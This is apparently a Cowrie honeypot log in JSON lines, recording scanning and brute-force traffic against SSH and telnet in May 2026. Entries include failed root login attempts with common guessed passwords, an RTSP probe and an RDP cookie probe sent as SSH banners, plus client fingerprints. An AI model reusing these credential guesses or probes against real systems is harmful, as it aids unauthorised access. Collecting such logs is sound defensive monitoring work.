{"eventid":"cowrie.session.connect","src_ip":"35.187.63.83","src_port":44798,"dst_ip":"159.203.135.109","dst_port":23,"session":"da351d3ca24d","protocol":"telnet","message":"New connection: 35.187.63.83:44798 (159.203.135.109:23) [session: da351d3ca24d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:34.487139Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.63.83","src_port":44808,"dst_ip":"159.203.135.109","dst_port":23,"session":"662663bf8f3c","protocol":"telnet","message":"New connection: 35.187.63.83:44808 (159.203.135.109:23) [session: 662663bf8f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:34.642074Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 6893","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 6893] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:34.646759Z","src_ip":"35.187.63.83","session":"662663bf8f3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.63.83","src_port":44822,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed3e3edc27fc","protocol":"telnet","message":"New connection: 35.187.63.83:44822 (159.203.135.109:23) [session: ed3e3edc27fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:34.800228Z"}
{"eventid":"cowrie.session.closed","duration":0.005821943283081055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:34.805763Z","src_ip":"35.187.63.83","session":"ed3e3edc27fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.618896961212158,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:36.556053Z","src_ip":"152.42.224.71","session":"a786ceb2b6b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.522886514663696,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.577644Z","src_ip":"35.187.63.83","session":"179454559e58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.838536262512207,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.581630Z","src_ip":"35.187.63.83","session":"a69f33107520","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.95829439163208,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.600258Z","src_ip":"35.187.63.83","session":"662663bf8f3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.117579698562622,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.604630Z","src_ip":"35.187.63.83","session":"da351d3ca24d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.4302568435668945,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.608191Z","src_ip":"35.187.63.83","session":"f29529977d7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.742464303970337,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.610959Z","src_ip":"35.187.63.83","session":"7525ef282a02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.589699029922485,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.613664Z","src_ip":"35.187.63.83","session":"2261d89d9760","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.060472726821899,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.618880Z","src_ip":"35.187.63.83","session":"310bb3582520","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.907705307006836,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.621743Z","src_ip":"35.187.63.83","session":"e4b7a157c5f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.229649543762207,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.628562Z","src_ip":"35.187.63.83","session":"216ec0afec2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.3873131275177,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.631102Z","src_ip":"35.187.63.83","session":"8f2172c481b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.54451060295105,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.633745Z","src_ip":"35.187.63.83","session":"88438053ac66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.701725959777832,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.636425Z","src_ip":"35.187.63.83","session":"18968f6cb4d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.860074281692505,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.638984Z","src_ip":"35.187.63.83","session":"98534a19cba2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.019922494888306,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.643075Z","src_ip":"35.187.63.83","session":"ea722719a2da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.175915956497192,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.646114Z","src_ip":"35.187.63.83","session":"d3b3b9f3cb54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.333261728286743,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.648885Z","src_ip":"35.187.63.83","session":"47dce97f0d82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.490600347518921,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.651497Z","src_ip":"35.187.63.83","session":"e94a43eeab62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.805398225784302,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.654234Z","src_ip":"35.187.63.83","session":"fa6c1e00844c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.038023233413696,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.657210Z","src_ip":"35.187.63.83","session":"a5f35cd4e1ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.195634365081787,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.660111Z","src_ip":"35.187.63.83","session":"a5640dfe9468","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.357225179672241,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.663424Z","src_ip":"35.187.63.83","session":"822a345210cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.518496513366699,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.666603Z","src_ip":"35.187.63.83","session":"d67d0785b945","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.6747660636901855,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.669155Z","src_ip":"35.187.63.83","session":"b452a67e074e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.987799882888794,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.672297Z","src_ip":"35.187.63.83","session":"78736fa59cea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.834145545959473,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.675429Z","src_ip":"35.187.63.83","session":"7ee429460a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.148103475570679,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.678509Z","src_ip":"35.187.63.83","session":"f32364b8835c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.306365013122559,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:38.681578Z","src_ip":"35.187.63.83","session":"d9b6b5336050","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34922,"dst_ip":"10.17.0.5","dst_port":23,"session":"7acbb8e13273","protocol":"telnet","message":"New connection: 152.42.224.71:34922 (10.17.0.5:23) [session: 7acbb8e13273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:39.218064Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34938,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ac96d27bd1d","protocol":"telnet","message":"New connection: 152.42.224.71:34938 (10.17.0.5:23) [session: 3ac96d27bd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:40.314677Z"}
{"eventid":"cowrie.session.closed","duration":3.2797157764434814,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:43.594273Z","src_ip":"152.42.224.71","session":"3ac96d27bd1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":34466,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd1b19eb8def","protocol":"ssh","message":"New connection: 167.86.95.8:34466 (10.17.0.5:22) [session: dd1b19eb8def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:44.467334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:44.472089Z","src_ip":"167.86.95.8","session":"dd1b19eb8def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:44.569706Z","src_ip":"167.86.95.8","session":"dd1b19eb8def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123456!","message":"login attempt [root/Admin123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:44.983544Z","src_ip":"167.86.95.8","session":"dd1b19eb8def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:46.082712Z","src_ip":"167.86.95.8","session":"dd1b19eb8def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56712,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3634df2f53d","protocol":"telnet","message":"New connection: 152.42.224.71:56712 (10.17.0.5:23) [session: a3634df2f53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:46.271627Z"}
{"eventid":"cowrie.session.closed","duration":28.133243560791016,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:48.127712Z","src_ip":"152.42.224.71","session":"30074145c443","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.919920444488525,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:50.787009Z","src_ip":"152.42.224.71","session":"46f2dfdf8a6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.1308057308197,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:51.501947Z","src_ip":"152.42.224.71","session":"fd2fe619e320","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":33342,"dst_ip":"10.17.0.5","dst_port":22,"session":"146b1f622869","protocol":"ssh","message":"New connection: 147.45.199.80:33342 (10.17.0.5:22) [session: 146b1f622869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:52.394948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:52.399602Z","src_ip":"147.45.199.80","session":"146b1f622869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:52.498102Z","src_ip":"147.45.199.80","session":"146b1f622869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:52.792721Z","src_ip":"147.45.199.80","session":"146b1f622869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:53.894409Z","src_ip":"147.45.199.80","session":"146b1f622869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.30726456642151,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:55.903747Z","src_ip":"152.42.224.71","session":"413806def396","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":60587,"dst_ip":"159.203.135.109","dst_port":22,"session":"10b635ab15dd","protocol":"ssh","message":"New connection: 167.172.81.52:60587 (159.203.135.109:22) [session: 10b635ab15dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:58.740046Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:58.755225Z","src_ip":"167.172.81.52","session":"10b635ab15dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:47:58.762867Z","src_ip":"167.172.81.52","session":"10b635ab15dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35132,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ba1ce3c7b8e","protocol":"telnet","message":"New connection: 152.42.224.71:35132 (10.17.0.5:23) [session: 0ba1ce3c7b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:03.403974Z"}
{"eventid":"cowrie.session.closed","duration":120.00533866882324,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:07.414988Z","src_ip":"152.42.224.71","session":"4353af814b5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.12231993675232,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:07.590592Z","src_ip":"152.42.224.71","session":"3eef5f5e94a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.27122116088867,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:09.619651Z","src_ip":"152.42.224.71","session":"1ddb684b3666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50050,"dst_ip":"10.17.0.5","dst_port":23,"session":"89c0f9fd679c","protocol":"telnet","message":"New connection: 152.42.224.71:50050 (10.17.0.5:23) [session: 89c0f9fd679c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:13.595271Z"}
{"eventid":"cowrie.session.closed","duration":42.00295329093933,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:16.283776Z","src_ip":"152.42.224.71","session":"ba583fa50b56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":52658,"dst_ip":"10.17.0.5","dst_port":22,"session":"68d842a0b01f","protocol":"ssh","message":"New connection: 43.173.85.181:52658 (10.17.0.5:22) [session: 68d842a0b01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:20.978590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:20.982743Z","src_ip":"43.173.85.181","session":"68d842a0b01f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:21.050787Z","src_ip":"43.173.85.181","session":"68d842a0b01f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yy123456","message":"login attempt [root/Yy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:21.355005Z","src_ip":"43.173.85.181","session":"68d842a0b01f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.068928241729736,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:22.286849Z","src_ip":"152.42.224.71","session":"7acbb8e13273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:22.425408Z","src_ip":"43.173.85.181","session":"68d842a0b01f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.345707178115845,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:25.617241Z","src_ip":"152.42.224.71","session":"a3634df2f53d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60764,"dst_ip":"10.17.0.5","dst_port":23,"session":"41b3a0d5c963","protocol":"telnet","message":"New connection: 152.42.224.71:60764 (10.17.0.5:23) [session: 41b3a0d5c963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:32.839263Z"}
{"eventid":"cowrie.session.closed","duration":67.48996496200562,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:32.922436Z","src_ip":"152.42.224.71","session":"a2d632602386","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00469255447388,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:42.878203Z","src_ip":"152.42.224.71","session":"d00189bf5406","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00419187545776,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:46.036736Z","src_ip":"152.42.224.71","session":"9f97f56507da","protocol":"telnet"}
